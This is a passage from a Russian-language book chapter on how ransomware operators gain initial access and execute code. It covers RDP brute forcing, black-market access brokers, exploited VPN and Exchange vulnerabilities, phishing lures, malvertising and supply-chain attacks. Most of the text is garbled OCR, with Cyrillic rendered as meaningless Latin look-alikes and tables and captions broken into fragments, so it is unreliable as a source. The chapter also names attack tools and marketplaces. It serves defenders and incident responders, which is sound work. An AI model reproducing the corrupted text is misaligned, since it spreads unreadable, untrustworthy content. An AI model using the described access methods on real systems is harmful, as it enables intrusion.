JOCTYIHBIN B CETH OTYET 00 yrpo3ax M U3BJICKJIM PAa3HBIC TUIIbI JAHHBIX, YTOOBI BBl MOTJIM HOJIYYUTH SICHOE
IpeACTAaBIICHUE 00 UX PA3JIMYHIX.

Br1 yxe 3Haere, uto TTP — 3T0 Hanbos1ee BaXKHbBIE 2JIEMEHTHI 00pasa JIEMCTBUHM 3710 YMBIIIIEHHUKOB, ITO3TOMY B
CJIEAYIONIEN TJIABE€ Mbl PACCMOTPUM MHOMXECTBO MPUMEPOB U3 PEAUTHHOU KU3HH, YTOOBI Y BAC OBLI XOPOIIUA
MCTOYHHUK NPAKTUYECKON MH(pOpMaALMK 00 aTakax MporpaMM-BbBIMOTaTEIICH, YIIPABISIEMbIX YEJIOBEKOM.

[naBa 5

TAKTUKU, TEXHUKHU U
NPOLEAYPHI I'PYIIIL,
SAHUMAIOIINXCA
PACIIPOCTPAHEHUEM
IMPOI'PAMM-BBIMOTI'ATEJIEA

BbI y’ke MHOTO€ 3HaeTe 0 MporpaMMax-BbIMOTaTelIsIX, YIPaBIIEMbIX YEJIOBEKOM, HEIIOXO IIPEACTaBIsIETe ceoe,
KaK pa3BOPAYMBAIOTCS MX aTaKHd M KaK OCYIIECTBIISIETCS pEaruipOBaHUE HA MHIUACHTHI, 1 TIOHUMAETE, IOYEMY TaK
BaKHO pearupoBaTh Ha MHUMACHTHI HAJJICXKAIIMIM 00pa30oM.

Ho mi1s sppekTuBHOTrO pearnpoBaHus Ha MHIMICHTHI HEJIOCTATOYHO UMETh JIUIIB O0IIEe MPEACTABICHHUE O
YKU3HEHHOM IUKJI€ aTaKW, IOCKOJbKY 3710 YMBIIIIICHHUKH OOBIYHO HIPUMEHSIOT JIJISl JOCTUXKEHUS CBOMX ILIEJICH
pa3sHOOOpa3Hble TAKTUKH, TEXHUKHU U TIpoueaypsl (TTP).

CylleCTBOBaHME MPOrPaMM-BbIMOTraTelIe KaK YCIYTH €lle 00JIbIIE 3alyThIBAET CUTYALIMIO, IOCKOJIBKY B aTakax
C MCMHOJb30BAHUEM TAKUX IPOrpaMM MOXKET y4aCTBOBATh MHOKECTBO a(PUIMPOBAHHBIX JIMII, U JAXKE JJIs
OZHOI'0 U TOTO € IITaMMa nporpamMmbl-BbiMorateis T TP ydacTHUKOB MOT'YT 3HAUUTEIbHO pa3IndyaThCs.

JTa IjaBa MOMOKET BaM JAETAIbLHO Pa300paThCs B MOBEACHUHU 3JIOYMBIIIJICHHUKOB, Y4aCTBYIOIIUX B aTakax ¢
MCIIOJIB30BAHUEM ITPOTrPAMM-BBIMOTaTEIEH, HA PA3JIMYHBIX ATAllaxX KU3HEHHOTrO MUKJIa aTaku (Ha ocHoBe MITRE

ATT&CK).

KOHKpETHee MbI PACCMOTPpHUM CJI€EAVIOIIIME TEMBbI.

. [lonyyeHmne nepBOHaYaNbHOMoO A0CTyNa.
. 3anycK BpeAOHOCHOro Koaa.

. ObecnevyeHme NOCTOAHHOrO AOCTYynNa.

. lNoBbliWweHne npuBUNErNN.

. Obxopa 3aWuThI.

. [JOoCTyn K y4eTHbIM AaHHbIM.

. [lpoaBuxeHne No ceTu.

. Cbop U Kparka AaHHbIX.



. PasBepTbiBaHME Nporpamm-BbiMmoraTenen.

[loslyyeHHe NepBOHAYA/IBHOI'O AOCTYyIIA

[Tosmydenure mepBOHAYAIBHOTO JIOCTYNA K LIEJIEBOM CETH — HEOThEMJIEMas 4YacTh JFOOOr0 BTOPKEHUS, U aTAKH C
MCIOJIb30BAaHUEM ITPOTPAMM-BBIMOTATENIEH HE UCKITIOYEHHUE.

ITocKOJBKY B aTakax C MCIOJIb30BaHUEM IIPOrpaMM-BhIMOraTeie 3a1eiiCTBOBAHBI CaMbI€ PA3HBIC
3JI0YMBIIUICHHUKY, CICIHAINCTRI 10 PEarnpOBaHUIO Ha MHIMACHTHI MOT'YT CTOJIKHYThCS B CBOEH paboTe
MPAKTUYECKH C JTFOOONW TEXHUKOM.

Tem He MeHee o1HA U3 HanboJIee pacIpPOCTPAHECHHBIX TEXHUK, UCII0JIb3YEMbIX OepaTopaMu MpOrpamMM-
BBIMOTaTEJIEH, — B3JIOM BHEIIHUX CIIYKO yAaJICHHOIrO JIOCTYNA, TAKUX KaK MPOTOKOJ YAAJIEHHOTO padoyvyero
crona (RDP), moaToMy UMEHHO ¢ HEE MBI M HAUHEM.

BHelnHue c1y>k0bl yaaJieHHOro aoctyna (T1133)

M cnonb30BaHKE BHEITHUX CIYKO yAaI€HHOIO JOCTYIIA 3JI0YMBIIIICHHUKAMH BECbMa PacpoOCTPAHEHO.
Hanpumep, cornacao oruety Group-IB «IIporpammer-eeimorarenu 2020/2021» (Ransomware Uncovered
2020/21), 6omnee 50% Bcex aTak MPOrpaMM-BBIMOTATENICH, YIIPaBIIEMbIX YEIOBEKOM, HAUMHAIIMCH CO B3JI0Ma
obmmenoctynHoro RDP-cepsepa. [Tangemuss COVID-19 ycyryouna cutyanuto: MHOTMM KOMIAHUSIM ITPUIIIIOCH
co3/1aTh pabouure MecTa JJIsl YAaJeHHOIro IIepCcoHaja, U 3TO JOMOJHUTEIBHO OCIa0MIIO0 3alUTy CEPBEPOB I10
BCEMY MUDY.

Ha pucynke 5.1 npuBeaeH npuMep 3KkpaHa BX0Ja B CUCTEMY OJIHOTO U3 OOIIEAOCTYITHBIX CEPBEPOB.

[TopT mo yMoJIYaHHIO 4151 CITYKO yAAIEHHBIX padounXx cTojoB — 3389. Eciin Mbl BOCIOIB3yeMCs TIOUCKOBOM
CUCTEMOM 11 YCTPOUCTB, NOAKIIIOUYEHHBIX K UHTEpHETY, Hanpumep Shodan, Mbl YBUJIUM MUJIJTUOHBI TAKUX

CEPBEPOB, 1 ATO OJHA U3 IPUYHMH, IOYEMY B3JI0OM TaKHX CEPBEPOB CTaJl HAMOOIee PaCIpPOCTPAaHEHHON TEXHUKOMN
(puc. 5.2).

administrator howard sqlusr
Logged on

e

,ﬁWindows Server2008r:
Enterprise

Puc. 5.1. DxpaHn Bxoja B cuctemy odmieaoctyrnHoro RDP-cepsepa

BCEIMO PE3VIJIbTATOB

4 822 478

CTPAHbI-JINOEPbI

CLUA 1597 597
Kutain 1258 810
fepmaHus 203 909
Hupepnaugbl 103 432
AnoHus 127 211

Puc. 5.2. Pe3ynabtaThl noucka Shodan



Kak Bugute, Toapko B CILA Oonee 1,5 MiH Takux cepBepoB. HeyauBHUTEIBHO, YTO 3Ta TEXHUKA HACTOJBKO
pacopoCcTpaHeHa — KaK M TO, YTO KEPTBAMM PA3JIMYHBIX ITPOTPAMM-BBIMOIATEICH YaCTO CTAHOBATCS

opranuzanuu u3 CIIA.

Kak nosmyuuts noctyi k oomenoctynaomy RDP-cepeepy? Camblii paClipOCTpaHEHHBIN CIIOCOO — araka
METOJIOM TPyOOM CHJIBI, TO €CTh MTOJHBIM ITEPEOOPOM HAMOOJIEE PACTPOCTPAHEHHBIX MTAPOJIEN TT0 ciioBapro. Kak

HU CTPAHHO, 3TO BIOJHE 3(PPEKTUBHBIN OAXO/I.

Yamie Bcero cHaualia CKaHUPYIOT HHTEPHET Ha HAIMYKE 001mea0cTymHbix RDP-cepBepoB mpu nomomm masscan,
a 3aTE€M HCIOJb3YIOT MHCTpYMEHTHI TUa NLBrute mis BeImosiHeHUs aTaku METO0M I'pyOOM CHIIBI.
3JIOYMBINIUJICHHUKAM Ja)K€ HE 0043aTEIbHO AEIaTh 3TO CAMUM — OHU MOTYT IMIPUOOPECTH NOCTYI HA PA3JIMYHBIX

YEPHBIX PBIHKAX U Y OPOKEPOB MEPBOHAYAIHLHOTO JIOCTYTIA.

BOT HECKOJIBKO TIPUMEPOB TAKUX YEPHBIX PHIHKOB:

. RussianMarket

. Odin

. UAS RDP Shop

. Xleet

. Infinity Shop

OTMeTHM, YTO AOCTYN K 001Iea0cTynHOMY RDP-cepBepy MOXKET CTOUTH BCETO HECKOJIBKO J0JIAPOB.

itw 11 Country 11 State 1 city itz itos
210.x** HK Hong Kong Hong Kong Windows 7 Professional
30 Aws us Ohio Columbus 43085 Windows 10
202 * * - vuke JP Tokyo Tokyo 214-0021 Windows 10 Enterprise Evaluation
149.% * * . vume us Texas Dallas 75201 Windows Server 2019 Datacenter
104.%** NL Noord-Holland Amsterdam 1000 Windows Server 2012 R2
/i i BBy CN Jiangxi Ji'an 343000 Windows Web Server 2008 R2
103.*** IN West Bengal Ghatal 712406 Windows 7 Professional
61 % ** CN Jiangsu Suzhou 215003 Windows 10 Pro
138.*** JP Osaka Osaka 541-0041 Windows Server 2019 Datacenter
7.7 el CN Zhejiang Shaoxing 330601 Windows Server 2012 R2 Datacenter
34.%** . Aws us Oregon Portland 97086 Windows Server 2019 Datacenter
179" PE Arequipa Arequipa 04000 Windows 7 Ultimate
3g.r us California Los Angeles 90001 Windows Server 2012 R2 Standard
103.**.* BD Dhaka Dhaka 1312 Windows Server 2012 R2 Standard
18.*** . aws us Ohio Columbus 43085 Windows 10
10720 us New Jersey Secaucus 07094 Windows Server 2012 R2 Standard
oy IR Tehran Tehran 11369 Windows 7 Ultimate
(.. us New Jersey Secaucus 07094 Windows Server 2012 R2 Standard
110" 1D Jawa Timur Surabaya 60135 Windows Server 2008 R2 Enterprise
192.%*.* us New York Buffalo 14202 Windows Server 2016 Standard
45 % * vure CR San Jose San Jose 10102 Windows Server 2019 Datacenter
354443 HK Hong Kong Hong Kong Windows Server 2008 R2 Datacenter
103+ ** HK Hong Kong Hong Kong Windows Server 2008 R2 Enterprise
20" ** . ms IN Maharashtra Pune 412415 Windows Server 2008 R2 Datacenter

1T RANM

1GB

1GB

2GB

1GB

1GB

1GB

1GB

1GB

8GB

1GB

I own.
9.14 Mbit/s
7.23 Mbit/s
5.34 Mbit/s
11.17 Mbit/s
8.04 Mbit/s
10.82 Mbit/s
5.63 Mbit/s
5.19 Mbit/s
8.09 Mbit/s
9.42 Mbit/s
7.93 Mbit/s
11.41 Mbit/s
5.18 Mbit/s
9.68 Mbit/s
7.05 Mbit/s
11.03 Mbit/s
11.17 Mbit/s
6.64 Mbit/s
6.87 Mbit/s
8.97 Mbit/s
4.95 Mbit/s
10.46 Mbit/s
6.75 Mbit/s

5.45 Mbit/s

iTupl
6.40 Mbit/s
5.06 Mbit/s
3.74 Mbit/s
7.82 Mbit/s
5.63 Mbit/s
7.58 Mbit/s
3.94 Mbit/s
3.64 Mbit/s
5.67 Mbit/s
6.59 Mbit/s
5.55 Mbit/s
7.99 Mbit/s
3.63 Mbit/s
6.78 Mbit/s
4.93 Mbit/s
7.72 Mbit/s
7.82 Mbit/s
4.65 Mbit/s
4.81 Mbit/s
6.28 Mbit/s
3.47 Mbit/s
7.32 Mbit/s
4.72 Mbit/s

3.81 Mbit/s

11 Direct P

11 Admin Rights

S NS S

11 Added
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!
add funds!

add funds!

11 Price, $
16.00
12.00
9.00
12.00
16.00
16.00
17.00
17.00
18.00
14.00
10.00
16.00
17.00
16.00
12.00
17.00
18.00
17.00
13.00
17.00
12.00
18.00
17.00

10.00

Puc. 5.3. RDP-cepBepn! ais npogaxu Ha UAS RDP Shop

RDP — He eqMHCTBEHHBIN TUI BHEIIIHEH CITY>KObI YIaJICHHOIO 10CTYIIA, KOTOPhIM HOJIb3YHOTCS

3JIOYMBILJIEHHUKH. /[[pyror BeCcbMa paciipOCTPAHEHHBINW TUIT — JIOCTYIl YEPE3 BUPTYAIbHYIO YACTHYIO CETh

(Virtual Private Network, VPN).

B 3TOM ciiydae onepaTopbl HporpaMM-BbIMOraTeIel TOKE MOT'YT BBIIOJIHATh aTaKd METOJOM I'PyOOI CHUIIBI,

4yTOOKI MM0JIy4aTh y4yeTHbIC JaHHbIe VPN, a Takke, HanpuMep, UCIO0JIb30BaTh YSI3BUMOCTH B IIPOrPaAMMHOM

obOecrieueHrr. Mbl 00CYIUM 3TO B CIICAYIOIIEM pa3jiesic — «DKCITyaTalys 001EeI0CTYIHbBIX MPUI0KEHUN

(T1190)».




Kak u RDP-nocTy1, 3TOT THI JOCTYyIIa MOKHO HOJYYATh Y OpPOKEpPOB MEpBOHAYAIBHOrO aocryna. [Ipumep
COOTBETCTBYIOIIETO OOBSIBICHUS HAa PYCCKOSI3BIYHOM aHJETpayHIHOM (DOpyME Ha pUCYHKE 5.4,

KomnaHua cneyuanusvMpyeTcs Ha NPOW3BOACTBE KOMIUIEKTYIOWMX ANA OCBeUeHHA, 06CNY)XMBaHWe OCBeLLeH!A
KPYNHEHLMX MEePONPUATHA.

CrpaHa: Kurau

Peseto: 48kk+$

Bua gocryna: VPN-RDP

YposeHb goctyna: Admin

Crapr: 10008

LWar: 100$

Bnuy: 20008

Puc. 5.4. Iloct ¢ pycckos3pI9HOTO aHaerpayaaHoro ¢gopyma Ha miardopme Group-1B Threat Intelligence

Kak BuauTe, NONy4dnTh NEPBOHAYAIBHBIN TOCTYI YE€PE3 BHEIIHUE YIAJIECHHBIE CEPBUCHI OYEHb TPOCTO, OCOOCHHO
Tenepb, Bo BpeMeHa nmanjgemu COVID-19. Ho 310 He emnHCTBEHHBIN c10c00. /[aBaiTe pacCMOTPUM €IIE OJIHY
pPacpOCTPAHEHHYIO TEXHUKY — AKCIUTYaTalUI0 OOIIEOCTYIMHBIX MPUIOKEHHH.

JKCIUTyaTalnusa 001eA0CTYIHbIX NpuaoxkeHuu (T1190)

DKCIUTyaTamuys 00IIEOCTYIIHBIX MPUJIOKECHUN B aTaKaX IporpaMM-BbIMOTaTENICH, YIIPABISIEMbIX YEIOBEKOM, —
€Ille OJHA PACTIPOCTPAHEHHAA TEXHUKA 3JI0YMBIILJIECHHUKOB.

Bb1 yke 3HaeTe, 4TO BLIMOTaTeNIM 4acTo B3JaMbIBalOT cepBepbl RDP: oHM MOryT 1u00 npoBeCcTH aTaKky METOA0M
rpy0o0ii cuiIbl, 1100 IPOCTO KYIMUTh JOCTYII HA YEPHOM PHIHKE M Y OpOKEPOB MEPBOHAYAILHOTO JOCTYIIA.

Ho Takxe oHM MOTYT yJIaJIEHHO 3aIlyCKaTh KOJ HA CEPBEPaAX, UCIOIb3Yys YI3BUMOCTU peanuszanuu RDP,
nanpumep BlueKeep (CVE-2019-0708). M3BecTHO, UTO OHA 4O CHX ITOP aKTUBHO AKCILIYaTHPYETCS, B YaCTHOCTH
JIUIIaMH, CBSI3aHHBIMH C IporpaMMoii-BeiMorareiiem LockBit.

To ke camoe MOXKHO CKa3aTh M 0 gocryne yepe3 VPN. 37I0yMBIIIIIEHHUKNA UCIIOJIb3YIOT MHOTOUHUCIICHHBIE
ySI3BUMOCTH, KOTOPBIE MO3BOJISIOT UM NOJAYYuTh VPN-I0CTYyII K 11eneBol ceTtu. PaccMoTpum HamOoliee
MONYJISIPHBIE YA3BUMOCTH.

Ysa3pumocts B Fortinet, FortiOS u FortyProxy (CVE-2018-13379) nmo3Boirsiina pa3ImIHbEIM OllepaTopam
IIporpaMM-BeIMOraTeiel ojydyaTh JOCTYH K CUCTEMHBIM (haiijiaM, B TOM YMCIIE COJIEP KaIllUM YUETHbBIC JaHHbIC,
4yTOOBI BIIOCJEACTBUM UCIIOJIL30BaTh UX A noaydyeHuss VPN-mocTymna kK ceTu.

JIpyras ys3BUMOCTh IIPOM3BOJILHOIO uTeHU (aiiinos, cBsa3anHas ¢ VPN, umeercs B Pulse Secure Pulse Connect
Secure (CVE-2019-11510). Ee skcruryaTamus IO3BOJISET 3J10yYMBIIIICHHUKAM IIOJYYaTh TOCTYII K 3aKPBITHIM
KJIFOYaM M IIapoJIsiM I0JIb30BaTele. JTa yI3BUMOCTh aKTUBHO HCIIOJb30BAJIACh JIMIIAMU, CBSI3AHHBIMM C
nporpaMmmoi-BeiMorartejieM REvil.

Hakomnen, ynomsaeM ys3pumocth B SonicWall SMA100 (CVE-2019-7481). Ero akTUBHO MOJIB30BAIUCH
onepaTopsl mporpammbel-BeiMorarens HelloKitty.

Pazymeercs, ya3BUMOCTH, KOTOPBIE 3JIOYMBINUIEHHUKNA UCIIOJIb3YIOT IS OJYYEHUS IEPBOHAYAIILHOIO I0CTYIIA,
He orpannunBaroTcs RDP u VPN.

Hanpumep, orepatops! nporpamMmel-BeiMorateiis Clop ucrions3oBamm ysa3sumoctu B Accellion FTA:

CVE-2021-27101: yazsumocTtb TMna «SQL-MHbeKkumna».
CVE-2021-27102: yazsumocTtb BHegpeHnAa komaHg OC.
. CVE-2021-27103: ya3BMMOCTb NOAAE/KN 3aNPOCOB Ha CTOpoHe cepBepa (Server-Side Request Forgery,
SSRF).
CVE-2021-27104: ewe oaHa ya3BUMOCTb BHegpeHna KomaHa OC.



OTHU yA3BUMOCTH TTO3BOJIMJIN 3JIOYMBIIIJICHHUKAM 3arpy3UTh BEO-IIIE HA YSI3BUMbBIE CEPBEPHI U UCITOJIL30BATH
€ro JJIs1 KpaKu JTAHHBIX, HOCKOJBKY JIJISI O€30ITaCHOM Iepeadyu OONIbIINX (PaiIOB KOMIIAHUH UCTIOJIb30BaIN
nporpaMmMHo-anmapaTHbii koMrieke Accellion FTA.

Emre ogHa ysI3BUMOCTB, KOTOPOM TTOJIB30BAIMCH ONEPATOPHI IIPOrpaMM-BbIMOraresen, Takux kak Nefilim, — 3to
ysi3sBuMocTh B Citrix Application Delivery Controller (ADC) u Gateway (CVE-2019-19781). B pe3ynbsraTe
3JIOYMBIIIJICHHUKH MOTJIM 3aIyCKaTh KOMaHbl HA aTAKyEeMOM CEpPBEpE.

Haxkonern, B 2022 r. 310yMBIIIJICHHUKH MOJb30BAIMCH YSI3BUMOCTSIMHU B cepBepax Microsoft Exchange,
Brogas ProxyLogon (CVE-2021-26855) u ProxyShell (CVE-2021-34473, CVE-2021-34523 u CVE-2021-
31207).

Y4acTHUKM aTak C UCIOJb30BAaHUEM ITPOrpaMM-BbIMOraTeiei 100aBUJIM B CBOM apCE€HaI COOTBETCTBYIOIIME
skcIuionTel. Hanmpumep, nuna, cea3zannbie ¢ Conti, ncnoiab3oBainy ya3BUMOCTh ProxyShell nms 3arpy3ku BeO-
1Iesia Ha LEeJEBOM CEpBEP, UTOOBI BHIMOIHATH HA HEM JalIbHEUIIINE JEUCTBUS B XOJI€ MOCTIKCILTyaTalluu.

OO01Ie10CTYITHBIE CEPBEPHI U MPUIIOKECHUS — BEChMA MOIYJIAPHBIE LIEJIN OIEPATOPOB MPOTPAMM-BBIMOTATEIIEM,
HO OOBIYHO UX HE TaK y>K MHOro. Kpome Toro, Ha HUX MOT'yT ObITh YCTaHOBJICHBI aKTyaJbHbIC OOHOBIICHHUS,
MCHPABJISIONIME OIIMOKH CUCTEMBI O€301TaCHOCTH, W/WJIM UCIIOIb30BaThCA HAJICKHBIC TTapoJik. [ToaToMy
3JIOYMBIIIJIEHHUKAM MPUXOJIATCSA UCKATh APYTUE CIa0ble MECTa, HATPUMEP OOBIYHBIX MMOJIb30BATEIIEH
KOPIIOPATUBHOM ceTU. M TyT yMECTHO UCTIOIB30BATh (DUIIIKHT.

dumuHr (T1566)

HcTopruyueckn GUIMMHT ObLUT OJJHUM W3 U3JIFOOJICHHBIX CIIOCOOOB MOJTYYEHMSI IEPBOHAYAIBLHOTO JOCTYIIa
3JIOYMBINUJIEHHUKOB K [€JIEBOM CETH.

B HacTosiee BpeMsi KHOSPIPECTYIMHUKH JIJISI 3TOT0 YaCTO MPUMEHSIOT TPOSHBI (MJIM OOTHI), KOTOPbIE OOBIYHO
JTOCTABJISAOTCS YE€pE3 claM-TIuChMa. B CIMCOK TakuxX BPEJOHOCHBIX ITporpamMm BxoasaT Bazar, Qakbot, Trickbot,
Zloader, Hancitor u IcedID.

JI1 uX JOCTaBKM 3JI0YMBIIIIEHHUKH OOBIYHO MCTIOJIB3YIOT 3apayKCHHBIE BJIOKEHUS DJIEKTPOHHOM ITOYTHI,
Hanpumep ¢aitnsl Microsoft Office, ckpunThbl B apXxuBax Wil OPOCTO CCHUIKK HA TaKUE (PaMIIbI.

3JI0YMBIIIJICHHUKH MPOSIBIISIIOT OPA3UTEIbHYIO H300PETAaTEILbHOCTD B CO3/IAHUM (DUILIMHTOBBIX ITHCEM.
BpeMeHamMu 3TH 3JIEKTPOHHBIE MUChbMA BBITJISIAAT HACTOIBKO MPaBAON0I00HO, YTO JAaKE CICIMATUCTHI IO
0€30IaCHOCTH MOTYT CYECTh MX HACTOSIMMU. BOT mpuMep criam-nmuchbMa ¢ (PUILIMHTOBOM CCHUIKOM,
pacopocTtpanseMmoro oneparopamu Hancitor.

Docui;gn:

Review and sign this document

VIEW DOCUMENT

Puc. 5.5. [Ipumep 2J1€eKTPOHHOTO CllaM-IIMChMa, OTIIpaBJIEHHOro oneparopamMu Hancitor

[1leaKkHYB 110 ATOM (PUILMHIOBOM CCBHLIKE, I0JIb30BAaTENb ITONAJET Ha CTPAHUIY 3arpy3KH BPEIOHOCHOTO
nokyMmeHTa Microsoft Office.

3JI0YMBIIIJIECHHUKH HE BCErJIa OTIPABJISIOT I10JIb30BATEISAM CChUIKH, €CTh IPYTrOM CIIOCO0 — MPUKPENUTh K
AJIEKTPOHHOMY MHCHMY 3apaKCHHbIN (DamJI.

' Claim-1042671409-09242021.zip
| 366 KB

Hello,

Here is an interesting info in the document attached

Thank you,

Puc. 5.6. IIpumep 3JI€KTPOHHOTO CIlaM-IIMChbMa, OTIIpaBjieHHOro oneparopamu Qakbotl2



3arpy3uB (aili, )KepTBa JI0JKHA OTKPBITh €r0 U B OOJIBIIMHCTBE CAY4YacB BKIOYUTh MaKPOCHI, YTOOBI
BPEIOHOCHOE COJEPKUMOE 3aMMMCAIIOCHh HA JIMCK WJIM 3arPy3WJIOCh C KOHTPOJIUPYEMOTO 3JI0YMBINIJIEHHUKOM WJIH
B3JIOMAHHOTO CEpBEpA.

OOBIYHO TaKHE€ BPEAOHOCHBIE JOKYMEHTHI MOTHUBUPYIOT MMOJIb30BATES BKIOUYUTh MaKPOCHI.
Docu §n'gn,
This document created in previous version of Microsoft Office Word
W To view or edit this document, please click "Enable editing” button
on the top bar, and then click "Enable content”

Puc. 5.7. Coaepxrumoe BpeJOHOCHOTO JOKyMeHTal3

TeM cambIM KepTBa aKTUBUPYET BPEIOHOCHBIM KOHTEHT. [IpaB/ia, eciau y )KepTBhI XOpollias 3aliura OT crama,
JTOCTABUTH €U 3apaKCHHBIC CCHUIKH WJIN BIOXKEHUSA OYJIET HE TAK-TO MPOCTO. 3IIOYMBIIUIEHHUKAM ITPUXOIUTCS
JIEUCTBOBATh 00JIE€ TBOPUECKU — U Y HUX MOJTydaeTcs!

['pynma kubepnpectynaukoB Wizard Spider — omeparopsr Bazar, Trickbot, Ryuk, Conti u Diavol —
MCI0JIb30BaJIa (PUIITMHTOBBIE MMMCbMa ¢ MHPOPMAIMEH O IJIATHBIX MOJMMCKAX U YKa3biBaja B T€Je MMCbMa HOMEP
Tesie)OHa, M0 KOTOPOMY KEPTBa MOTJIa TO3BOHUTh, UTOOBI OTMEHHUTH NOANKUCKY. HUKaKKMX MOAIKMCOK HAa CAaMOM
nejie He ObLJIO — 3TO BUIIMHT (roa0coBoi (uiuHr). TeaedoHHbIe onepaTophbl 3aMaHUBAIIM KEPTBY Ha
IOJIJICIbHBIN BEO-caliT, 4TOOBI OHA 3arpy3uiia (opMy, HCOOXOAUMYIO JJI OTMEHBI. Huke mpumep Takoro
OJIEILHOTO cauTa.

Top Coek - e Cod - X+

[ ] @ e dpcrertod o SO - I ¢ - ARk RV aos »

TOP Lo KUK

Simplify Home Cooking

Cosking Recipes - 24,388

Puc. 5.8. [lognenbHbli BEO-CalT, pacpOCTPaHSIONINN BPEIOHOCHBIE JOKYMEHTHI
EqMHCTBEHHOM 1I€JIBIO TAKUX ITOJIJIEILHBIX BE0O-CalTOB ObLIa JIOCTABKA BPEJOHOCHBIX TOKYMEHTOB.

BBIHCHI/ITB, HC CTOJIKHYJICS JIX I10JIb30BATCIIb C IMONBITKOU BHUIIIHWHIA, JOBOJIbHO IIPOCTO. I/IHOFI[a JO0CTATOYHO
3a4aTb HCCKOJIbKO YTOUHAIOIINX BOIIPOCOB U YTJ'IY6I/ITI>C$I B TCMY, YTOOBI MOIIICHHUK caaJICsl.

Jpyroii npuMep — BpeJOHOCHAas pekiiama. Hanmpumep, oneparopsl Zloader co3atoT Bpe1OHOCHBIE pEKJIIaMHBIE
O0OBSIBICHUS, U, €CJIU )KEPTBA MCIOJb3YET ONPEICICHHBIEC KIIIOUEBBIE CJI0Ba BO BpeMs noucka B Google, ee
IIepEHANPABIISIIOT HA KOHTPOJIUPYEMBIN 3JI0YMBIIIJICHHUKAMH BEO-CalT, IJI€ pa3MEIEeH BpeAOHOCHBIN (haiil.

Index of /download

Name Last modified Size Description

a Parent Directory -
Zoom exe 2021-09-19 12:33 6.0M

Apache/2.4.41 (Ubuntu) Server at zoomvideo-a.com Port 80

Puc. 5.9. IlogaenbHbli cailT, pacnpocTpaHsommi Zloader

I/IHOI‘I[a 3JIOYMBIINUJICHHHUKH HMCIIOJIb3YIOT CIIC ooJiee N30IIPCHHBIC TAKTHUKHU IICPBOHAYAJIBHOI'O JOCTYIId, TAKHUC KAK
dTaKH1 9CPEC3 LCIIOYKY ITIOCTABOK.

B3/10M neno4ku nocraBok (T1195)

ATaku 4yepes 1eN0YKYy OCTaBOK OOBIYHO TPEOYIOT OOJIbIIMX YCHIUNU. M XOTs Takue aTakyd BeChbMa IMPUOBLIbHEI,
OHHU HE OYEHb PACIPOCTPAHEHBI, O HUX MaJIO KTO CJIbIIIAJ WJIM paccKa3biBajl. TeM He MeHee IIpUMEPhI 110 I00HBIX
aTak, MPUBOIAIIUX K Pa3BEPTHIBAHUIO IIPOTrPAMM-BbIMOTaTEICH, U3BECTHBI.



[IepByro Takyro omneparyio MpoBed ONepaTopbl NporpaMmMbl-BeiMoraTesisi REvil, B31oMaB UTanbsIHCKYIO BEPCHIO
BeO-caiita WinRar, uro0s1 pacipoctpanats konuu REwvil.

Bort eme 0oJjiee HHTEpPECHBIN ClTy4dal: JIKIia, CBSI3aHHBIE C IIporpaMMoii-BeIMoraTresieM Darkside, B3aomainu BeO-
CalT ImporpaMMHoOro ooecriedeHus SmartPSS u ctanmu gocraBiaate 03xkgop SMOKEDHAM. boinee noapo0OHO 00
3TOH aTake MOXXHO y3HaTh B Oiore FireEye: https://www.fireeye.com/blog/threat-research/2021/06/darkside-
affiliate-supply-chain-software-compromise.html.

Wtak, Mbl 0OCYyAUIIM HAMOOJIEE paCIPOCTPAHEHHBIE TAKTUKH ITEPBOHAYAIBHOTO JI0CTYyNA. Jlanee Mbl MOCMOTPHUM,
KaK 3JIOYMBIJIEHHUKH 3aI1yCKAIOT BPEAOHOCHBIN KO Ha LEJIEBBIX CUCTEMAX.

3anyCK BpeJOHOCHOI'0 KoJa

[Tocne Toro kak 310yMBIIIJICHHUKHY OJIy4aT JOCTYH K LIEJIEBOM CHUCTEME, UM HYKHO OOECIICUNUTh 3aIyCK
BPEAOHOCHOTO KOJAa WJIM HHCTPYMEHTOB JBOMHOTO HA3HAYECHUS IS PEIICHUS 3a71a4 TOCTIKCILTyaTAIU Y.

JI71s1 9TOro CYIIECTBYIOT pa3HOOOpa3Hble MeTOAbl. JlaBaliTe pacCMOTpHUM HauOoJjiee 4acTo HaOJIH0JaeMble METO/IbI,
HCII0JIb3yEMbI€ B KOHTEKCTE aTaK C MCIOJIb30BAHUEM IIPOrpaMM-BbIMOTaTEIEeH.

3anyckK nosb3oBartesieM (T1204)

Kak BBI yKe 3HaeTe, MHOTHUE 3JI0YMBIIUIEHHUKNA aKTUBHO UCIOJIb3YIOT JJISI TIOJIYYECHHUS IIEPBOHAYAIILHOTO
0CTyMa (PUILMHT, U B OOJILIIMHCTBE CIIY4aeB KEPTBBI JOIKHBI OTKPBITH BJIOYKEHUE WUJIH CCHUIKY, YTOOBI
3aIyCTUTh BPEIOHOCHBIN KOJI. TOJBKO MOCIE 3TOr0 3JI0YMBIIUICHHUK MOJIY4YaeT HepBOHAYAIbHBIN JOCTYII.

Mo0oXHO NOCMOTPETH HA A3TOT METOJI ¥ C IPYror CTOPOHBI. Hammpumep, eciiv oniepatopsl IpOrpaMMbI-BLIMOTATENIS
IIPOHUKAIOT B CETh Uepe3 oomiea0cTynHbii RDP-cepBep, oHM 00BIYHO Cpa3y Ke MOJy4YarT JOCTYI K aKKayHTaM C
MOBBIIICHHBIMY PUBUJICTUSIMU, HAIIPUMEP K YYETHOM 3alMCHU aJIMAHUCTpaTopa. Takum 00pa3om, B 3TOM CiIy4dae
OHHU CaMH MOT'YT BBICTYIIaTh B POJIX 3JIOHAMEPEHHOIO IT0JIb30BAaTEIISA U BBIIIOJHATH Pa3JIMUHbIE KOMaHbI 1
UHCTPYMEHTHL.

HHTeprnperaTopbl KOMaH/J U cueHapueB (T1059)

Ha Tex nim MHBIX 3Tarax )XU3HEHHOIO [IUKJIA aTaK: OIEPATOPhI MPOrPAMM-BBIMOIaTENIEH MOT'YT HMCIIOJIb30BATh
pa3JIMYHbIE UHTEPIPETATOPHI KOMAH/ U CLIEHAPHUEB.

B cinyyae ¢ ¢pummHrom upesBbidaiiHo pacnpoctpanensl Windows Command Shell, PowerShell, Visual Basic u
naxke JavaScript. JlaBaiiTe pacCCMOTPHUM HEKOTOPHIC IPUMEPHI.

3apakeHHbIe JOKyMEeHThI Microsoft Word HCIosib3yroTCs 3710 yMBIIIJICHHUKAMHU JJIs1 paCIIpOCTPaHEHUS
